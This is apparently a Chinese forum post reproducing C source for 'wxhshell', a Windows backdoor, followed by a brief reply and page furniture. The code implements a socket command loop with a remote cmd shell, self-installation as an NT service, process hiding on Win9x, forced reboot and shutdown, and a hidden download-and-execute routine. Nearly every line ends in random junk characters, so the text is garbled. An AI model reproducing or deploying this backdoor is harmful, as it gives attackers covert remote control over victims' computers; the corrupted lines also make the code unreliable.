  if(DownloadFile(cmd,wsh)) ~Yg+bwh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `[tYe<  
  else M,SIs 3  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "mcuF]7F  
  } dVBr-+  
  else { 7gt%[r M  
{;hR FQ^b  
    switch(cmd[0]) { 5 Praj  
  JwUz4  
  // 帮助 ;zi4W1  
  case '?': { a<Ps6'  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); wE_#b\$=b  
    break; iRL|u~bj  
  } 6)9X+U@  
  // 安装 8FBXdk?A  
  case 'i': { !r+SE  
    if(Install()) _i0,?U2C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z4(Q.0x7  
    else J8h H#7WMS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tEllkHyef  
    break; e'dZ2;X$zo  
    } \eS-wO7%  
  // 卸载 1!2,K ot  
  case 'r': { 0,m@BsK  
    if(Uninstall()) s=)1:jY k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d~O)mJ J  
    else C-VkXk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ['@R]Si"!  
    break; ](^BQc  
    } ],Y+|uX->  
  // 显示 wxhshell 所在路径 }U$p[Gi<  
  case 'p': { =%d0MZD  
    char svExeFile[MAX_PATH]; CGCSfoS9f  
    strcpy(svExeFile,"\n\r"); oz\r0:  
      strcat(svExeFile,ExeFile); M!] g36h[  
        send(wsh,svExeFile,strlen(svExeFile),0); |FZIUS{]  
    break; EP]OJ$6I  
    } bOdyrynh  
  // 重启 I$1~;!<  
  case 'b': { 8Sg :HU\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <@H=XEn  
    if(Boot(REBOOT)) "\x\P)j0>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r!O4]j_3  
    else { SR&'38UCe  
    closesocket(wsh); RyN?Sn5)  
    ExitThread(0); e{`DvfY21  
    } 1$rrfg  
    break; (Qz| N  
    } N^By#Z  
  // 关机 g+92}$_  
  case 'd': { Z<6Fq*I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  tvvRHvL  
    if(Boot(SHUTDOWN)) e=EM07z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _;`g*Kx  
    else { >PK\bLEo  
    closesocket(wsh); zrCQEQq  
    ExitThread(0); O=w u0n  
    } [[9XqD]  
    break; _.$g?E/(  
    } ,[0rh%%j  
  // 获取shell 'Gds?o8  
  case 's': { s9}VnNr  
    CmdShell(wsh); <)$b=z  
    closesocket(wsh); p}R3A J  
    ExitThread(0); LzJNQd'  
    break; 4+_r0  
  } 5qx$=6PT  
  // 退出 h"5!puN+  
  case 'x': { gay6dj^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [P?.( *  
    CloseIt(wsh); ^\zf8kPti  
    break; +~]LvZtI_  
    } d 1bx5U  
  // 离开 G%RhNwm  
  case 'q': { #9) D.d|5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b(.,Ex]  
    closesocket(wsh); G Za<  
    WSACleanup(); .~Z@y#  
    exit(1); BSib/)p   
    break; Me e+bp  
        } .8.LW4-ff  
  } F-2&P:sjQ  
  } EzDQoN7Em  
T1Y_Jf*KJ  
  // 提示信息 5Myp#!|x:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RTR@p =ck  
} z4 yV1  
  } UjI -<|  
t&99ZdE  
  return; G`" 9/FI7  
} urK[v  
dNMz(~A[Y  
// shell模块句柄 Pwh0Se5Z  
int CmdShell(SOCKET sock)  M} {'kK  
{ k^Q>  
STARTUPINFO si; iCrLZ" $M  
ZeroMemory(&si,sizeof(si)); 9s}y*Vp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^7 oXJu=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3l8k O  
PROCESS_INFORMATION ProcessInfo; rFPfTpS  
char cmdline[]="cmd";  H*]B7?S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H tu}M8/4  
  return 0; PLmf.hD\  
} <CnTiS#  
Os# V=P  
// 自身启动模式 ;.<0lnV  
int StartFromService(void) M >BcYbXf  
{ dUg| {l  
typedef struct _PR> <L_  
{ [Q=NGHB1/  
  DWORD ExitStatus; BbqH02i  
  DWORD PebBaseAddress; If*t$f>y4N  
  DWORD AffinityMask; =(x W7Pt~  
  DWORD BasePriority; .;&1"b8G  
  ULONG UniqueProcessId; Jm l4EW7  
  ULONG InheritedFromUniqueProcessId; (IY= x{b  
}   PROCESS_BASIC_INFORMATION; *75?%l  
`1eGsd,f  
PROCNTQSIP NtQueryInformationProcess; 3:;2Av2(X.  
9(PQ7}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 'kz[Gh*8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LmKG6>Q1#1  
mz~aSbb|  
  HANDLE             hProcess; i!!1^DMrw  
  PROCESS_BASIC_INFORMATION pbi; xxlYn9ke  
%;Dp~T`0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ARD&L$AX  
  if(NULL == hInst ) return 0; P,ox) )+6  
>,Zf3M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }LaRa.3  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f;k'dqlv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6] ~g*]T  
I<'wZJRRa  
  if (!NtQueryInformationProcess) return 0; N!fTt,  
QQ5G?E  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JY|f zL  
  if(!hProcess) return 0; 1Ue;hu'q:  
A{ :PpYs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 8p?Fql}F [  
BmRk|b  
  CloseHandle(hProcess); )@ /!B`  
XkWO-L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Fnnk }I}  
if(hProcess==NULL) return 0; f ,?P1D\  
EMDsi2  
HMODULE hMod; Wq+6`o  
char procName[255]; MMMuT^X  
unsigned long cbNeeded;  vj+x(  
Hvn{aLa.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J~6-}z   
JY+ N+c\  
  CloseHandle(hProcess); )>]~Y  
~f[AEE~,s+  
if(strstr(procName,"services")) return 1; // 以服务启动 o2FQ/EIE  
h|_E>6d)  
  return 0; // 注册表启动 0$-N  
} M>pcG.6V  
j0p'_|)(  
// 主模块 /e^q>>z  
int StartWxhshell(LPSTR lpCmdLine) hcvWf\4'#q  
{ Z\{"/( Hi  
  SOCKET wsl; #|\NG  
BOOL val=TRUE; p nS{W \Q  
  int port=0; ohFUy}y  
  struct sockaddr_in door; : GZx-  
m"{D}(TA  
  if(wscfg.ws_autoins) Install(); fh0a "#L{  
wt;7+  
port=atoi(lpCmdLine); }{J5)\s9  
E,]G Ek  
if(port<=0) port=wscfg.ws_port; RJ ,a}w[9  
XY[uyR4Z  
  WSADATA data; =Fq"lq %  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J2 "n:  
]ov>VF,<  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;]* %wX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); NuLyu=.?  
  door.sin_family = AF_INET; ,k*g `OTW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); nATEv2:G  
  door.sin_port = htons(port); !TJCQ[Aa }  
2|xNT9RW  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }H!l@  
closesocket(wsl); WD=#. $z$  
return 1; (mHCK5  
} ?U~9d"2=  
K&zp2V  
  if(listen(wsl,2) == INVALID_SOCKET) { Xsvf@/]U  
closesocket(wsl); tta\.ic  
return 1; )z'LXy8  
} H pHXt78  
  Wxhshell(wsl); H"_ZqEg  
  WSACleanup(); vf=b5s(7Q  
,qF;#nB-  
return 0; 9%>GOY  
{&_1/  
} C]ev"Am_)  
KTV~g@Jf  
// 以NT服务方式启动 Xx~za{p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $Hr qX?&r  
{ *Uvh;d{  
DWORD   status = 0; &tT*GjPwg;  
  DWORD   specificError = 0xfffffff; YK[PC]w  
C?v_ig  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ys+ AY^/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 0_d,sC?V  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; _^+z2m+ ~N  
  serviceStatus.dwWin32ExitCode     = 0; ?[ n{M  
  serviceStatus.dwServiceSpecificExitCode = 0; gxry?':  
  serviceStatus.dwCheckPoint       = 0; Q;]g9T[)  
  serviceStatus.dwWaitHint       = 0; s8,N9o[.~P  
6%/@b`vZ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %A@Q%l6  
  if (hServiceStatusHandle==0) return; *=OU~68)C  
r;gtfX*  
status = GetLastError(); Jx# r  
  if (status!=NO_ERROR) 8cqH0{  
{ qJY'"_Q{  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; aJ[K'5|  
    serviceStatus.dwCheckPoint       = 0; =.q Zgcg  
    serviceStatus.dwWaitHint       = 0; GfEg][f  
    serviceStatus.dwWin32ExitCode     = status; Rj&V~or  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9,h'cf`F  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); . zM  
    return; iOCx7j{BS  
  } b2x8t7%O  
5r;M61  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K8,fw-S%  
  serviceStatus.dwCheckPoint       = 0; L B:wo .X  
  serviceStatus.dwWaitHint       = 0; t@K N+ C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &X 0qH8W  
} a@[y)xa$Z  
!}u'%  
// 处理NT服务事件,比如:启动、停止 p&Usl.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) EZ+_*_9  
{ }Wxu=b  
switch(fdwControl) 1BQB8i-,  
{ !{@!:m3w  
case SERVICE_CONTROL_STOP: 1aC ?*,e?  
  serviceStatus.dwWin32ExitCode = 0; &. sfu$]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9~8UG (  
  serviceStatus.dwCheckPoint   = 0; l56D?E8  
  serviceStatus.dwWaitHint     = 0; L;a> J  
  { _7?LINF9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Isa]5>  
  } 2jQ|4$9j  
  return; &5Ai&<q"p  
case SERVICE_CONTROL_PAUSE: tx=~bm"*?  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dpHK~n j\_  
  break; $_N<! h*\  
case SERVICE_CONTROL_CONTINUE: VGLE5lP X  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l`s_Id#  
  break; 92}UP=RW!  
case SERVICE_CONTROL_INTERROGATE: GT|=Kx$;  
  break; AplXl=  
}; pgK)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y|bCbaF  
} chE~UQ  
]|cL+|':y  
// 标准应用程序主函数 nK*$P +[R  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !^ko"^p  
{ ]d]tQPEU  
K * Tj;  
// 获取操作系统版本 a =LjFpv/]  
OsIsNt=GetOsVer(); D]nVhOg|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); (;^VdiJ  
\TM%,RC3K  
  // 从命令行安装 m7z6c"?lB  
  if(strpbrk(lpCmdLine,"iI")) Install(); g%1FTl  
Hd(|fc{2  
  // 下载执行文件 vJg|}]h>L  
if(wscfg.ws_downexe) { SOo/~ giz|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) %zg&eFRHI  
  WinExec(wscfg.ws_filenam,SW_HIDE); _aOisN{  
} q7-Eu4w  
;Wjb}_V:_  
if(!OsIsNt) { Yn ZV.&4{  
// 如果时win9x,隐藏进程并且设置为注册表启动 q|)8VmVV  
HideProc(); ]Y!$HT7\  
StartWxhshell(lpCmdLine); ?`?"j<4e  
} ,]e!OZ[$m  
else e6{}hiM  
  if(StartFromService()) &E.ckWf  
  // 以服务方式启动 ^7Q}W#jy  
  StartServiceCtrlDispatcher(DispatchTable); Yv!%Is  
else aagN-/mgm  
  // 普通方式启动 Qn> 0s  
  StartWxhshell(lpCmdLine); /I~iUND"G  
F-%wOn /  
return 0; Y=JfV  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八